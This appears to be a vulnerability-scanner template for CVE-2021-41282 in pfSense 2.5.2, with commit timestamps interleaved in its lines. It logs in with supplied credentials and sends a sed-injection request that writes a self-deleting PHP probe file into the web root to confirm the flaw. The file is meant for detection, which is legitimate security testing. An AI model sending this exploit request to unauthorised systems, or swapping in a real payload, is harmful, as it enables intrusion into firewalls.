2022-03-19 09:05:40 +00:00
id : CVE-2021-41282
info :
2022-06-30 17:59:37 +00:00
name : pfSense - Arbitrary File Write
2022-03-19 09:05:40 +00:00
author : cckuailong
severity : high
2022-06-30 17:59:37 +00:00
description : |
diag_routes.php in pfSense 2.5.2 allows sed data injection. Authenticated users are intended to be able to view data about the routes set in the firewall. The data is retrieved by executing the netstat utility, and then its output is parsed via the sed utility. Although the common protection mechanisms against command injection (e.g., the usage of the escapeshellarg function for the arguments) are used, it is still possible to inject sed-specific code and write an arbitrary file in an arbitrary location.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade to pfSense CE software version 2.6.0 or later, or pfSense Plus software version 22.01 or later.
2022-03-19 09:05:40 +00:00
reference :
- https://www.shielder.it/advisories/pfsense-remote-command-execution/
- https://www.rapid7.com/db/modules/exploit/unix/http/pfsense_diag_routes_webshell/
2022-06-30 17:59:37 +00:00
- https://docs.netgate.com/downloads/pfSense-SA-22_02.webgui.asc
2022-03-19 09:05:40 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-41282
2023-07-11 19:49:27 +00:00
- https://docs.netgate.com/pfsense/en/latest/releases/22-01_2-6-0.html
2022-03-19 09:06:25 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 8.8
2022-03-19 09:06:25 +00:00
cve-id : CVE-2021-41282
2023-07-11 19:49:27 +00:00
cwe-id : CWE-74
2023-10-22 12:16:24 +00:00
epss-score : 0.97335
2023-11-01 14:45:21 +00:00
epss-percentile : 0.9985
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:pfsense:pfsense:2.5.2:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 4
2023-07-11 19:49:27 +00:00
vendor : pfsense
product : pfsense
tags : cve,cve2021,pfsense,rce,authenticated
2022-03-19 09:05:40 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-03-19 09:05:40 +00:00
- raw :
- |
GET /index.php HTTP/1.1
Host : {{Hostname}}
- |
POST /index.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
__csrf_magic={{csrf_token}}&usernamefld={{username}}&passwordfld={{password}}&login=
- |
GET /diag_routes.php?isAjax=1&filter=.*/!d;};s/Destination/\x3c\x3fphp+var_dump(md5(\x27CVE-2021-41282\x27));unlink(__FILE__)\x3b\x3f\x3e/;w+/usr/local/www/test.php%0a%23 HTTP/1.1
Host : {{Hostname}}
- |
GET /test.php HTTP/1.1
Host : {{Hostname}}
cookie-reuse : true
matchers :
- type : dsl
dsl :
- "contains(body, 'c3959e8a43f1b39b0d1255961685a238')"
- "status_code==200"
2022-06-30 17:59:37 +00:00
condition : and
2023-07-11 19:49:27 +00:00
extractors :
- type : regex
name : csrf_token
group : 1
regex :
- '(sid:[a-z0-9,;:]+)'
internal : true
part : body
2023-11-02 07:14:22 +00:00
# digest: 4a0a00473045022035084c2e00a590e2ac902f2d17d2cb9e3ba6905e99f69d056903e03887a92bac022100967d3e01a500a9bd108687052892f29375577c49c6cb12765db33b72f7d9df09:922c64590222798bb761d5b6d8e72950